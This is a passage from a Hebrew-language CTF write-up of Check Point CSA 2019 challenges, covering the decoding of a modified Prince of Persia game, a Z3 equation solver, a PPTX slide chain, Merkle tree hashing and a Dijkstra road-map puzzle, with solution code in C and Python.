55 Check Point CSA 2019 סדרת אתגרי

56 בשביל התו האחרון צריך לסובב ולסובב, אבל בסוף הוא מתקבל: הדגל: CSA{D0n't_G4mbl3_W1th_youR_pRnG_SeeD5} 56 Check Point CSA 2019 סדרת אתגרי

57 Prince of Persia אתגר #7: )קטגוריה: רברסינג. ניקוד: 80( In the Sultan's absence, the Grand Vizier JAFFAR rules with the iron fist of tyranny. Only one obstacle remains between Jaffar and the throne: the Sultan's beautiful young FLAG... Marry Jaffar... or die within the hour. All the FLAG's hopes now rest on the brave youth it loves. Little does it know that he is already a prisoner in Jaffar's dungeons... Reach the end and save the flag :) לאתגר צורף קובץ ארכיון בשם.SDLPoP-master.zip נחלץ את הקובץ ונמצא שהוא מכיל מימוש מחודש למשחק הנוסטלגי "הנסיך הפרסי". לפי קובץ ה- Readme, מדובר בפרויקט קוד פתוח בשם SDLPoP שמנוהל ב- Github. הקובץ הכיל מה שנראה כמו snapshot של ה- repository, כולל קבצי המקור ושאר הקבצים הנלווים. הצעד המתבקש הבא הוא להוריד עצמאית snapshot של ה- repository, ולהשוות את שתי התיקיות, על מנת לבדוק אם הוכנסו שינויים בגרסה שקיבלנו באתגר. ואכן, אפשר למצוא שינויים בקבצים הבאים: 57 Check Point CSA 2019 סדרת אתגרי

58 השינוי המשמעותי ביותר נמצא בקובץ,seg000.c בפונקציה :check_the_end מעבר להוספה של משתנים מקומיים והסרה של הערות, אנחנו רואים כאן הוספה של לוגיקה שאמורה לרוץ בסוף המשחק, במידה והשחקן ניצח: פענוח של מספר מחרוזות והדפסתן למסך. המימוש של - RC הפונקציה שאחראית על פענוח הדגל - פחות חשוב עכשיו )נראה אותו בסוף(. מה שחשוב בעיקר הוא הקלט ל- RC : RC(rooms, str, (unsigned char*)strrc); הפונקציה מקבלת כקלט מערך בשם rooms יחד עם מערך בשם.str המערך str נבנה כמה שורות קודם בהסתמך על מערך בשם,block1 שהוא מערך שנוסף על ידי יוצרי האתגר בקובץ data.h ואותחל במקום, ולכן ניתן להחשיב אותו בתור קבוע ולהתעלם ממנו לעת עתה. מה שיותר מעניין הוא המערך :rooms extern char rooms[15]; הוא מאוכלס בזמן ריצה. האכלוס העיקרי שלו הוא בסוף כל שלב: case SEQ_END_LEVEL: // end level ++next_level; if (enable_copyprot) rooms[current_level - 1] = curr_room; ההשמה אל המערך תבוצע רק במידה והמשחק הוגדר לכלול את ה- Protection Copy שלו )על מנת להילחם בתופעת הפיראטיות, משחקים ישנים מסוימים הגיעו בזמנו עם סט שאלות שהפנה לחוברת ההדרכה שחולקה עם המשחק, ורק מי שהחזיק בה היה מסוגל לענות על השאלות. במקרה של "הנסיך הפרסי", השאלות הופיעו בתור שלב נפרד במשחק. בחידוש, ניתן לבחור האם להציג שלב זה או לא(. במקרה כזה, המערך מאוכלס במספר החדר הנוכחי )כלומר זה שהשחקן נמצא בו כשהוא מסיים את השלב, שהרי כל שלב מתפרס על פני מספר חדרים(. 58 Check Point CSA 2019 סדרת אתגרי

59 בשני מקרים, קיימת לוגיקה מיוחדת לאכלוס תאים מסוימים במערך. בשלב :89 { ) } else if(custom->tbl_seamless_exit[current_level] >= 0 // Special event: level 12 running exit { )] if (Kid.room == custom->tbl_seamless_exit[current_level rooms[current_level - 1] = custom ;] >tbl_seamless_exit[current_level ; ++next_level ההשמה נעשית בהתבסס על מערך אחר, קבוע מראש (שהוגדר ב :)data.h-.tbl_seamless_exit = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 23, -1, -1, -1}, ובשלב האחרון, כמו שראינו כבר : // Special event: end of game ; rooms[current_level - 1] = 20 אם כך, המטרה היא לאכלס את שאר התאים במערך, כלומר, להבין באיזה חדר כל שלב מסתיים. ב - "נסיך הפרסי" השלבים מיוצגים על ידי קבצים בינאריים : כל קובץ כזה מקודד את השלב במלואו - הקירות, הדלתות, האויבים, הכניסה, היציאה וכו'. אבל - רברסינג של הפורמט ייקח זמן. אפשר לחלופין לדבג את המשחק, אבל גם זה ייקח זמן. אנחנו עוסקים במשחק של שנות התשעים, ולכן נעשה מה שהיה נהוג לעשות אז - נרמה. בשנות התשעים לא היה משחק שכיבד את עצמו שלא כלל צ'יטים - רצף מקשים שאפשר בקלות להגיע ליכולת כלשהי כמו חיים נוספים, ציוד נוסף, יכולת פיזית נוספת וכד' (בוחן פתע : מה זה.)?IDDQD גם "הנסיך הפרסי" כלל צ'יטים, כל מה שהיה צריך לעשות כדי להפעיל אותם זה להריץ את המשחק יחד עם הפרמטר megahit בשורת הפקודה. לאחר מכן, היה אפשר להוסיף חיים, להרוג את כל האויבים, להאריך את מג בלת הזמן וכמובן לקפוץ שלבים. הרימייק שלנו כלל את הצ'יטים הללו והוסיף גם כמה משלו. את הרשימה המלאה אפשר למצוא בקובץ ה :readme- Cheats: * Shift-L: go to next level * c: show numbers of current and adjacent rooms * Shift-C: show numbers of diagonally adjacent rooms * -: less remaining time * +: more remaining time * r: resurrect kid * k: kill guard * Shift-I: flip screen upside-down * Shift-W: slow falling * h: look at room to the left * j: look at room to the right Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

60 * u: look at room above * n: look at room below * Shift-B: toggle hiding of non-animated objects * Shift-S: Restore lost hit-point. (Like a small red potion.) * Shift-T: Give more hit-points. (Like a big red potion.) * Shift+F12: Save a screenshot of the whole level to the screenshots folder, thus creating a level map. * Ctrl+Shift+F12: Save a screenshot of the whole level with extras to the screenshots folder. You can find the meaning of each symbol in Map_Symbols.txt. אנחנו CTRL+SHIFT+F12 אנחנו יכולים לקפוץ בין שלבים ובאמצעות SHIFT+L באמצעות - ראו איזה פלא. יכולים לקבל מפה מפורטת של השלב כולו : נראה השלב הראשון, לדוגמא, כך : נראה שהוא ממוספר, אם נתמקד בחדר שכולל את דלת היציאה.@ זהו חדר מספר סדרת אתגרי Check Point CSA אוקטובר,111 גליון

61 נמשיך כך לפי השלבים השונים, ובסך הכל נקבל: שימו לב שבמספר שלבים היציאה היא לא מהדלת אלא מחדר שעליו כתוב.exit בתור מערך, נקבל: Index Level ? Value ? נתבונן בתוצאה שקיבלנו: 1. ב"נסיך הפרסי" יש ;8 שלבים, מדוע יש >8 תאים במערך? 2. שלב 89 אכן נראה כמו שלב מיוחד שבו היציאה אינה דרך דלת, והערך :9 שקיבלנו דרך תמונת המסך מסתדר עם הערך שראינו שמתייחס לחדר זה באופן מיוחד 3. עבור שלב >8, החדר המתקבל מהתמונה הינו >, אך ישנו תנאי מיוחד שדורס את הערך ושם בו Check Point CSA 2019 סדרת אתגרי

62 לגבי השאלה הראשונה, עיון בקוד מגלה ששלב >8 הוא שלב ה- Protection :Copy #ifdef USE_COPYPROT if (enable_copyprot && level_number == custom->copyprot_level) { level_number = 15; } #endif ולכן החדר המתאים הוא חדר :: אם כך, השלמנו את המערך, וכעת נותר לאסוף את החלקים השונים של הפתרון שפוזרו לאורך הקבצים השונים: למשל, פונקציית,RC המערך,block1 פונקציית decode וכו'. #include <stdio.h> #include <stdlib.h> #include <string.h> בסך הכל, נקבל את הקוד הבא: #define N1 256 char rooms[15] = { 9, 23, 6, 24, 18, 1, 3, 3, 5, 8, 24, 23, 3, 20, 3 }; const char block1[] = {214, 85, 173,9, 13, 217,126, 133, 241,98, 37, 11,50, 52, 8,18, 230, 22,122, 125, 160,86, 8, 226,17, 235, 234,154, 238, 250,210, 123, 171,178, 43, 98,237, 136, 68,184, 17, 74,113, 74, 138}; char pre[] = {0x26, 0x10, 0x06, 0x04, 0x12, 0x5d}; void swap(unsigned char *a, unsigned char *b) { unsigned char tmp = *a; *a = *b; *b = tmp; } int KSA(char *key, unsigned char *S) { int len = 15; int j = 0; for (int i = 0; i < N1; i++) S[i] = i; for (int i = 0; i < N1; i++) { j = (j + S[i] + key[i % len]) % N1; swap(&s[i], &S[j]); } return 0; } 62 Check Point CSA 2019 סדרת אתגרי

63 int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext) { int i = 0; int j = 0; for (unsigned int n = 0, len = strlen(plaintext); n < len; n++) { i = (i + 1) % N1; j = (j + S[i]) % N1; swap(&s[i], &S[j]); int rnd = S[(S[i] + S[j]) % N1]; ciphertext[n] = rnd ^ plaintext[n]; } return 0; } int RC(char *key, char *plaintext, unsigned char *ciphertext) { unsigned char S[N1]; KSA(key, S); PRGA(S, plaintext, ciphertext); } return 0; void decode(char* arr, char* res, int len) { res[0] = arr[0] ^ 0x61; res[1] = arr[1] ^ 0x62; res[2] = arr[2] ^ 0x63; res[3] = arr[3] ^ 0x65; res[4] = arr[4] ^ 0x66; res[5] = arr[5] ^ 0x67; } void check_the_end() { char strrc[100] = { 0 }; char arr[8] = { 0 }; char finalstr[100] = { 0 }; char str[57] = {0}; int current_level = 14; for (int i = 0, j = 0; i < (current_level + 1) * 4; i++) { if (i % 4!= 3) { str[j*3 + i % 4] = block1[i-j]; } else { j++; } } } RC(rooms, str, (unsigned char*)strrc); decode(pre, arr,5); sprintf(finalstr,"%s %s", arr, strrc); printf("%s\n", finalstr); void main(int argc, char** argv) { check_the_end(); } 63 Check Point CSA 2019 סדרת אתגרי

64 נריץ ונקבל: זה לא נראה כל כך טוב. אם להיות אופטימיים, אולי הייתה לנו שגיאה בודדת באחד החדרים. אפשר להריץ brute force על כל חדר בנפרד ולקוות לטוב. לשם כך נוסיף תוספת קטנה ל- main : #define MAX_ROOM 30 #define FLAG_PREFIX "CSA" void main(int argc, char** argv) { int i, j; int limit = sizeof(rooms) / sizeof(rooms[0]); char strrc[100] = { 0 }; int original_value; for (i = 0; i < limit; ++i) { original_value = rooms[i]; for (j = 0; j < MAX_ROOM; ++j) { memset(strrc, 0, sizeof(strrc)); rooms[i] = j; check_the_end(strrc); // Modify to accept parameter, remove printf() if (memcmp(flag_prefix, strrc, sizeof(flag_prefix) - 1) == 0) { printf("room: %d, Value: %d, flag: %s\n", i + 1, j, strrc); return; } } rooms[i] = original_value; } } התוצאה: לפי המפה, בשלב = אין חדר 99, אבל עם הצלחה לא מתווכחים. 64 Check Point CSA 2019 סדרת אתגרי

65 )002 : ניקוד. רברסינג : (קטגוריה MBA :#8 אתגר Our company had a spy up in corporate, apparently he's also some kind of math wiz. Who would have thought? He has an MBA! These are the only files we managed to retrieve, can you reveal his secret to us? : עם הקבצים הבאים zip לאתגר צורף ארכיון.) שמכיל את הדגל,bin_secret (מלבד message יש לנו קובץ bin על כל קובץ : יש לנו צמדים של קבצים : דוגמא לקובץ בינארי : דוגמא לקובץ ההודעה המתאים סדרת אתגרי Check Point CSA אוקטובר,111 גליון

66 דוגמא לקובץ בינארי נוסף: דוגמא לקובץ ההודעה המתאים: אין הרבה מה לעשות עם זה מלבד לנסות לחפש מאפיינים דומים לאורך כל הקבצים. מאפיינים שניתן למצוא מעיון בכלל הקבצים: 1. באמצעות שינוי רוחב ההצגה של הקובץ, ניתן להגיע למצב שבו ישנה עמודה רציפה של 0x8a מהשורה הראשונה ועד השורה הלפני-אחרונה. 2. הבתים משמאל ל- 0x8a מתאפיינים בערכים קרובים ל- 1 ואז קרובים ל- 0xff לסירוגין. 3. הבתים שמימין ל- 0x8a מציגים שונות יחסית גבוהה, ולרוב הם מרופדים באפסים עד סוף השורה. לעיתים במקום אפסים הם מרופדים ב- 0xff עד סוף השורה. 4. לקראת סוף הקובץ, תמיד ניתן למצוא רצף של שבעה ערכי,0x2e ואחריהם X בתים עם ערכים קרובים ל- 1. אורך ההודעה המפוענחת הוא תמיד אותו ה- X. מספר קבצים נותנים לנו תובנה נוספת. ניקח לדוגמא את הקובץ הבא: מעבר לעובדה שההודעה מקודדת ב- base64 )נתון לא מעניין בשלב הזה(, יש לנו שני תווים שחוזרים על עצמם בסוף ההודעה. הקובץ הבינארי המתאים נראה כך בסופו: אפשר לראות ששני הבתים האחרונים זהים, בדיוק כמו ב- plaintext. זוהי עדות חזקה לכך שמדובר פה בצופן החלפה כלשהו. ואם ניקח את התיאוריה הזו צעד נוסף קדימה, נסיק מהעובדה שכל הערכים לפני ההחלפה קרובים ל- 1 שמדובר במעין "אינדקסים" למשהו בסגנון "טבלת החלפה" שכנראה נבנית מוקדם יותר. ואכן, בבלוק העיקרי של הבתים אנחנו רואים שימוש גדול ב"אינדקסים" הללו. מכאן צריך קפיצה לוגית קטנה, מגובה בעובדה שהגיבור שלנו מתואר בתור אשף מתמטי. 66 Check Point CSA 2019 סדרת אתגרי

67 כדי להגיע למסקנה שמדובר פה במערכת משוואות: כל שורה היא משוואה כל "אינדקס" הוא משתנה כל ערך בין שני משתנים )הבתים שערכם קרוב ל- 0xff ( הוא אופרטור המשמעות של 0x8a היא "שווה" מימין ל- 0x8a שוכנת התוצאה רצף ה- 0x2e מסיים את מערכת המשוואות לאחר הרצף, מגיע מפתח הפענוח מכיוון שעבור כל הדוגמאות כבר יש לנו קובץ עם התשובה, קל יחסית לאמת את התיאוריה הזו. פשוט צריך להציב את התשובה במערכת המשוואות ולנסות להנדס לאחור את האופרטורים. אם נצליח להגיע למערכת משוואות נכונה - אימתנו את התיאוריה. נעבוד עם מערכת המשוואות הנוחה ביותר שקיימת בדוגמאות: הנוחות של מערכת המשוואות הזו נובעת מהעובדה שקיימים בה בסך הכל ארבעה משתנים, וכל משוואה כוללת שלושה משתנים בלבד. במערכות אחרות המשוואות היו ארוכות יותר וכך היה קשה יותר לנחש מהם האופרטורים. מתוך מערכת המשוואות הזו, נבחר כמה משוואות שנראות קלות לפתרון. נשתמש בסימנים על מנת לייצג את הפעולות השונות. כמו כן, נניח שהבתים מימין ל- 0x8a מתפרשים בתור int64_t ב- little,endian כי זה מסתדר עם הריפוד באפסים או ב- 0xff לכיוון ימין. בשורה 0xb6 יש לנו משוואה שכוללת רק סימן אחד: אם נצליב את סדר המשתנים )שמופיע אחרי ה- 0x2e ( עם התשובה, נקבל ש: 67 Check Point CSA 2019 סדרת אתגרי

68 נציב ונקבל : ננסה פעולות שונות עד שנגיע למסקנה שפעולת הכפל מתאימה. נעבור למשוואה בשורה 0xe שכבר כוללת סימן אחד שפיצחנו : ננסה פעולות שונות עד שנגיע למסקנה שפעולה החיסור מתאימה. נעבור למשוואה בשורה 0x9a שכוללת רק פעולה אחת ומשתנה אחד : במבט ראשון, זאת לא משוואה קלה לפתרון. אך במהרה מתגלה שפעולת & ( )bitwise and מתאימה במדויק. מצאנו את שלוש הפעולות (כמובן שמומלץ לוודא נכונות מול משוואות אחרות בקובץ הנוכחי). השלב המתבקש הבא הוא בדיקת נכונות מול קבצים אחרים, אך למרבה הצער נראה שהפעולות שמצאנו לא מתאימות. נראה שכל קובץ מפרש את סט הפעולות בצורה אחרת. מכיוון שאיננו מעוניינים לעבור את התהליך המפרך הזה פעם נוספת, נכתוב סקריפט שיבצע brute force על הפעולות במקומנו. הסקריפט בוחר שלוש פעולות מתוך הקבוצה "^","*", "-", "&", "+", " ", ואז משתמש במנוע Z3 על מנת למצוא פתרון למערכת המשוואות. from itertools import permutations * from z3 import os mmap glob struct import import import import def memory_map(filename, access=mmap.access_read): ) size = os.path.getsize(filename ) fd = os.open(filename, os.o_rdonly ) return mmap.mmap(fd, size, access=access class MBASolver(object): ' EQUAL = '\x8a ) SEPARATOR = bytes('\x2e'.encode("ascii") * 7 RESULT_LENGTH = 8 def init (self, path): ) self.file = memory_map(path )( self.variable_section_length = self.get_variable_section_length )( self.separator_index = self.get_separator_index Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

69 self.single_equation_length = self.variable_section_length + len(self.equal) + self.result_length def del (self): self.file.close() def get_variable_section_length(self): for i in range(len(self.file)): if chr(self.file[i]) == self.equal: assert (i % 2 == 1) return i raise Exception("Can't find variable section length") def get_separator_index(self): return self.file.find(self.separator) def handle_single_equation(self, equation, operators, variables, solver): operators[ord(self.equal)] = "" str_equation = "" for i in range(0, self.variable_section_length, 2): variable = "x{}".format(equation[i]) if variable not in variables: variables[variable] = BitVec(variable, 32) solver.add(variables[variable] >= ord('!')) solver.add(variables[variable] <= ord('~')) operator = operators[equation[i+1]] operator) str_equation += "{} {} ".format("variables['"+variable+"']", result = struct.unpack_from('<q', equation[self.variable_section_length + 1:])[0] str_equation += "== {}".format(result) solver.add(eval(str_equation)) def Solve(self, verbose = False): for perm in permutations(["*", "-", "&", "+", " ", "^"], 3): solver = Solver() variables = {} operators = {} x = 0xff for i in range(3): operators[x] = perm[i] x -= 1 for i in range(0, self.separator_index, self.single_equation_length): self.handle_single_equation( self.file[i:i+self.single_equation_length], operators, variables, solver) if solver.check() == sat: res = "" model = solver.model() if verbose: print(model) print (operators) for c in self.file[self.separator_index + len(self.separator):]: res += chr(model[variables["x{}".format(c)]].as_long()) return res def test(): msg_prefix = "message_" bin_prefix = "bin_" 69 Check Point CSA 2019 סדרת אתגרי

70 for path in glob.glob(f'fs/{msg_prefix}*'): print ("Testing {}".format(path)) with open(path) as f: expected = f.read() actual = MBASolver(path.replace(msg_prefix, bin_prefix)).solve() if expected!= actual: print (f"\t Mismatch: Expected: {expected}, actual {actual}") print ("All tests done") if name == " main ": print(mbasolver("fs/bin_secret").solve(verbose = True)) הפתרון: 70 Check Point CSA 2019 סדרת אתגרי

71 - )קטגוריה: פיתוח. ניקוד: 02( Lost inside my PPTX אתגר #9: Oh my, I'm locked outside my car! I mean, my car is right here but... I've lost my key! My car doesn't require a physical key, though. It's a digital one. Luckily, I've once written it in an odd way... Please help me find it! I'm running late for dinner O_o Oh my, I'm locked outside my car! I mean, my car is right here but... I've lost my key! לאתגר צורף קובץ הסבר: My car doesn't require a physical key, though. It's a digital one. Luckily, I've once written it in an odd way... Please help me find it! I'm running late for dinner O_o In the attached file "real_key.rar" you'll find a lot of power point files. My key hides in there, as I'll explain below. Luckliy, I've also created a "small_key.rar", so we can easily play around with it. Extract this one first. The first relevant powerpoint file is called "START.pptx". Open it. As you'll see, it contains some slides. Every slide has text in the following format: <CHARACTER>, <NEXT_PRESENTATION_NAME>, <SLIDE_NUMBER> Each relevant presentation holds a single character from my key, in a single slide. Not all presentations are relevant, though. For "START.pptx", this is guaranteed to be the first slide. As you can see, it displays the following text: `L, E26DWA33X6.pptx, 10` You can ignore the rest of the slides - as only one slide is relevant in every (relevant) presentation. This means that the first character for my key is `L`. The next relevant character can be found in slide 10 of presentation E26DWA33X6.pptx. Let's go there: `5, PRZ12DA3D8.pptx, 1` So our next character is `5`. The next relevant character is in the first slide of PRZ12DA3D8.pptx, let's go there: 72 Check Point CSA 2019 סדרת אתגרי

72 `M, A6LLDC9D18.pptx, 12` So our character is `M`. The next one will be in slide 12 of A6LLDC9D18.pptx. Let's go there... Wait, it doesn't exist! This means we're done with the key, and it is: `L5M`. Note that all the other presentations file were irrelevant for solving this. I could have done this without you, of course, but my real key is much longer. It's written in the presentations in "real_key.rar" in the same mechanism, though. So you know what you need to do. My mom just called, dinner is getting cold. Please help me! כמו כן, צורפו שני קבצי ארכיון: small_key.rar ו- real_key.rar. ב- real_key היו >811 מצגות.Power Point start.pptx מקבלים את השקופית הבאה: נעקוב בקצרה אחרי תחילת הדוגמא. אם פותחים את נמשיך למצגת אשר צויינה בטקסט ונקבל בשקופית 81 את: הלאה. וכן בסך הכל היה מדובר במשימה יחסית פשוטה, במיוחד לאחר מציאת ספרייה שמסוגלת להתמודד עם קבצי.Power Point 72 Check Point CSA 2019 סדרת אתגרי

73 from collections import namedtuple import pptx import re הקוד: TARGET_TEXT_REGEX = re.compile("(.),\s+([a-za-z0-9]+\.pptx),\s+(\d+)") Result = namedtuple('result', 'letter file_name slide_num') def get_text(prs, slide_num): shapes = prs.slides[slide_num - 1].shapes for shape in shapes: if not shape.has_text_frame: continue for paragraph in shape.text_frame.paragraphs: for run in paragraph.runs: match = TARGET_TEXT_REGEX.match(run.text) if match is not None: return Result(match.group(1), match.group(2), int(match.group(3))) return None flag = "" result = Result("", "START.pptx", 1) while True: try: result = get_text(pptx.presentation("real_key/{}".format(result.file_name)), result.slide_num) print result flag += result.letter except pptx.exc.packagenotfounderror: break print "Flag: {}".format(flag) התוצאה: 73 Check Point CSA 2019 סדרת אתגרי

74 )02 : ניקוד. פיתוח : (קטגוריה - Blockchain :#10 אתגר Implement the attached blockchain specs and get the flag! : לאתגר צורף קובץ הוראות עם התוכן הבא The CSA blockchain is made out of blocks constructed as following: Each TX root is calculated by a balanced Merkle tree. The hash function used by the Merkle tree is md5. In each Merkle tree every non-leaf sons amount is fixed, but may change over different trees. The first block hash is calculated by md5 of concatenation initialization vector with the first block TX root. The rest of the blocks hash is calculated by md5 of concatenation previous block hash with the current TX root. In the attach zip are 16 blocks, your mission is to calculate the hash of the last block, given the IV a861f335d4d457a7c1d00640da380dc4. סדרת אתגרי Check Point CSA אוקטובר,111 גליון

75 כמו כן, צורף קובץ,blocks.7z עם מספר תיקיות : כל תיקייה הכילה מספר קבצים, לדוגמא : וכל קובץ הכיל תוכן כלשהו : המשימה דרשה לייצר עץ מרקל : עץ מרקל ( )Merkle tree הוא עץ גיבוב בינארי שבו כל קודקוד מסומן בערך גיבוב של בניו (או ערכי העלים) והוא סוג של טבלת גיבוב בצורת רשימה היררכית. כלומר, קיים קשר בין ערכי כל הצמתים החל מהעלים ועד לשורש העץ. אנחנו נממש עץ מרקל באמצעות שתי מחלקות : מחלקת קודקוד ומחלקת עלה. שתי המחלקות יידרשו לממש מתודה של ( get_hash ועוד מתודת עזר - נוספת של.)get_height לשם כך, נעזר באב משותף : class MerkleObject(ABC): def init (self, hash_func): self.hash_func = hash_func def get_hash(self): raise NotImplementedError def get_height(self): raise NotImplementedError ההגדרה של עלה היא יחסית פשוטה : class MerkleLeaf(MerkleObject): def init (self, hash_func, data): ) super(). init (hash_func )( self.hash = hash_func(data).hexdigest def get_hash(self): return self.hash def get_height(self): return 0 העלה הוא כמובן בגובה.1 הוא מקבל בקריאת האתחול שלו את פונקציית ה MD5( hash- לפי דרישת התרגיל) ואת המידע שאותו הוא אמור לייצג, מחשב את ה hash- על המידע ושומר את התוצאה. Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

76 הגדרת הקודקוד לא הרבה יותר מסובכת: class MerkleNode(MerkleObject): def init (self, hash_func, expected_num_children): super(). init (hash_func) self.expected_num_children = expected_num_children self.children = [] def add_child(self, child): if len(self.children) >= self.expected_num_children: raise ValueError("Error: Too many children added to current node") if not isinstance(child, MerkleObject): raise ValueError("Error: Expecting a MerkleObject") if self.hash_func!= child.hash_func: raise ValueError("Error: Hash function mismatch") self.children.append(child) def get_num_children(self): return len(self.children) def get_hash(self): if len(self.children)!= self.expected_num_children: raise RuntimeError("Error: Missing children") res = "" for c in self.children: res += c.get_hash() return self.hash_func(res.encode("ascii")).hexdigest() def get_height(self): return self.children[0].get_height() + 1 מכיוון שמדובר בעץ שלם, על מנת לחשב את גובה הקודקוד ניתן לבחור את הגובה של כל אחד מבניו ולהוסיף אחד. חישוב ה- hash הוא חיבור של כל ה- hash -ים של הבנים, וחישוב hash על התוצאה. שאר הלוגיקה קשורה בעיקר להוספת ילדים ובדיקת שגיאות. עלינו לקרוא את הקבצים מהדיסק ולבנות עצי מרקל מתאימים. EXTRACT_HEIGHT_SONS_RE = re.compile(r"block_(\d+)-height_(\d+)- sons_(\d+)$") def create_tree(path, height, num_sons): queue = [] נעשה זאת באופן הבא: file_id = 0 num_parents = (num_sons ** height) // num_sons for i in range(num_parents): n = MerkleNode(hashlib.md5, num_sons) for j in range(num_sons): with open(os.path.join(path, "tx_{}".format(file_id)), "rb") as f: n.add_child(merkleleaf(hashlib.md5, f.read())) file_id += 1 queue.append(n) 76 Check Point CSA 2019 סדרת אתגרי

77 while len(queue)!= 1: num_parents = num_parents // num_sons for i in range(num_parents): n = MerkleNode(hashlib.md5, num_sons) for j in range(num_sons): n.add_child(queue.pop(0)) queue.append(n) assert(queue[0].get_height() == height) return queue[0] def build_tree(subdir): roots = {} for filename in glob.iglob(os.path.join(subdir, '*'), recursive=false): if os.path.isdir(filename): match = EXTRACT_HEIGHT_SONS_RE.search(filename) if match is None: raise ValueError("Error: Unexpected path format: {}".format(filename)) block = int(match.group(1)) height = int(match.group(2)) num_sons = int(match.group(3)) roots[block] = create_tree(filename, height, num_sons) return roots.block_1-height_4-sons_3 שם התיקייה מכיל את מבנה העץ, למשל block_0-height_4-sons_4 או נשתמש במידע זה על מנת לבנות עץ שלם מתאים מבחינת גובה ומספר בנים. הפונקצייה create_tree מקבלת את הגובה ואת מספר הבנים, ומייצרת את העץ מלמטה למעלה בהתאם למספר הבנים הרצוי. כל שנותר הוא לבצע את השרשור הנדרש, תחילה באמצעות ה- IV ואז באמצעות התוצאות הקודמות: if name == " main ": roots = build_tree('blocks') iv = "a861f335d4d457a7c1d00640da380dc4" prev_hash = iv for i in range(len(roots)): current_data = prev_hash + roots[i].get_hash() prev_hash = hashlib.md5(current_data.encode("ascii")).hexdigest() print (prev_hash) התוצאה: 77 Check Point CSA 2019 סדרת אתגרי

78 )02 : ניקוד. פיתוח : (קטגוריה - Roads in the wilderness :#11 אתגר Various cities populate the map, each has some resources missing others. You mission, should you accept it, is to connect the cities with roads. Further details are in the readme. Happy road building! : לאתגר צורף קובץ עם תיאור מפורט You have a map of hexagonal tiles. Each tile has coordinates (column, row). For example: Each tile has a terrain type. There are five different types of terrain: mountain, wood, open, swamp, and desert. On some tiles there are cities. The cities in the map above are on tiles: Ao (4,4), Bel (3,5), Chance (4,3), Dale (6,4), Ember (1,5), Forge (2,5), Gate (5,1), Halo (6,7) A city has resources. There are six types of resources: produce, wood, stone, clay, ore, and textile. Each city is missing some resource or resources. In this example: * Ao has stone * Bel has produce and stone * Chance has textile and clay * Dale has wood and clay * Ember has ore, textile and clay * Forge has ore and stone * Gate has ore סדרת אתגרי Check Point CSA אוקטובר,111 גליון

79 * Halo has produce and ore Each terrain type has a movement cost: * Mountain = 6 * Wood = 2 * Open = 1 * Swamp = 4 * Desert = 7 Your job is to find the minimal roads system with the minimal total cost, per city, that will enable all the cities access to all the resources. Here is the solution for the map above: The input is a description of map: * a list of columns, each a list of tiles * a list of cities (the city coordinates and the resources it has) Example input (same as the map above): Map terrain: [open, open, open, wood, wood, wood, wood, wood], [open, open, wood, open, open, wood, wood, wood], [open, open, open, open, wood, wood, open, open], [open, open, open, mountain, open, wood, wood, mountain], [open, open, desert, desert, desert, open, wood, wood], [wood, open, desert, desert, open, open, wood, wood], 79 Check Point CSA 2019 סדרת אתגרי

80 [wood, wood, open, open, mountain, desert, open, open], [wood, wood, open, wood, desert, open, mountain, mountain] Cities: (4, 4), Stone (3, 5), Produce, Stone (4, 3), Textile, Clay (6, 4), Wood, Clay (1, 5), Ore, Textile, Clay (2, 5), Ore, Stone (5, 1), Ore (6, 7), Produce, Ore The solution should be a text describing the roads, each line a road. A road is a list of tiles. For example (part of the solution to the example): (6, 7), (6, 6), (5, 5), (4, 5), (3, 5) (6, 7), (6, 6), (5, 5), (4, 5), (3, 4), (2, 5), (1, 5) (6, 7), (6, 6), (5, 5), (5, 4), (6, 4)... The input is at Post your solution at עלינו למצוא עבור כל עיר את מערכת המסלולים בעלת העלות המינימלית, שתעניק לעיר גישה לכל ששת המשאבים. נתחיל ממספר הבהרות: יש למזער את העלות ביחס לכלל המשאבים יחדיו, ולא ביחס לכל משאב בנפרד. לדוגמא: נניח שעיר א' זקוקה לשני משאבים )X ו- Y (, כאשר משאב X נמצא בערים ב', ג' ומשאב Y נמצא בערים ב', ד'. נניח עוד שהמרחק לעיר ב' הוא = יחידות, והמרחק לכל אחת מהערים ג', ו-ד' הוא ; יחידות. לכן, ניתן למלא צורך זה על ידי מסלול אחד עם עלות של = לעיר ב' או שני מסלולים, כל אחד עם עלות של ; לערים ג' ו-ד'. במקרה כזה, עלינו לבחור במסלול לעיר ב', מכיוון שהעלות הכוללת של האלטרנטיבה תהיה?. מסלול הוא אוסף של נקודות ציון מנקודה א' לנקודה ב'. העלות של מסלול היא סכום העלויות של כל נקודות הציון למעט נקודת הציון הראשונה במסלול. אם הפתרון שלנו כולל מסלול מעיר א' לעיר ב' ואת אותו המסלול מעיר ב' לעיר א', עלינו לכלול את שני המסלולים בתשובה. 80 Check Point CSA 2019 סדרת אתגרי

81 כעת נעבור לפתרון. החלק הראשון של הפתרון אמור לקפוץ מיידית לכל מי שאי פעם למד קורס בסיסי באלגוריתמים. המעבר בין "נקודות ציון/אריחים" ו"כבישים" לפי נוסח השאלה לבין גרף עם קודקודים וקשתות צריך להיות אוטומטי. העלות של התנועה בין נקודות ציון נקראת בתורת הגרפים "משקולות אי- שליליות על הקשתות", והיא אמורה להקפיץ מיד את אחד האלגוריתמים המפורסמים ביותר בתורת הגרפים: אלגוריתם דייקסטרה.)Dijkstra( אלגוריתם דייקסטרה, פרי יצירתו של אדסחר דייקסטרה, פותר את בעיית מציאת המסלול הקצר ביותר מנקודה בגרף ליעד. מכיוון שניתן למצוא באמצעות אלגוריתם זה, בזמן זהה, את המסלולים המהירים לכל הנקודות בגרף, בעיה זאת נקראת לעיתים מציאת המסלולים הקצרים מנקודה. האלגוריתם עובד על גרף נתון, מכוון או לא מכוון, בעל משקולות אי-שליליות על הקשתות. המשקולות בגרף מסמלות מרחק. משמעותו של המסלול הקצר ביותר בין שתי נקודות היא המשקולות הנמוך ביותר בין שתי הנקודות. המסלול בעל סכום אלגוריתם דייקסטרה ייתן לנו את המרחק הקצר ביותר מעיר מסוימת לכל עיר אחרת על המפה )למעשה, לכל קודקוד אחר על המפה(. לאחר מכן, נצטרך לבצע חישוב נוסף כדי לבנות את אוסף המסלולים שיענה על דרישות השאלה, אך כרגע נדחה שלב זה ונתחיל לבנות את התשובה שלב אחרי שלב. לשם כך, נחלק את הפתרון שלנו לשלושה חלקיים לוגיים: ייצוג של הגרף כאובייקט בפני 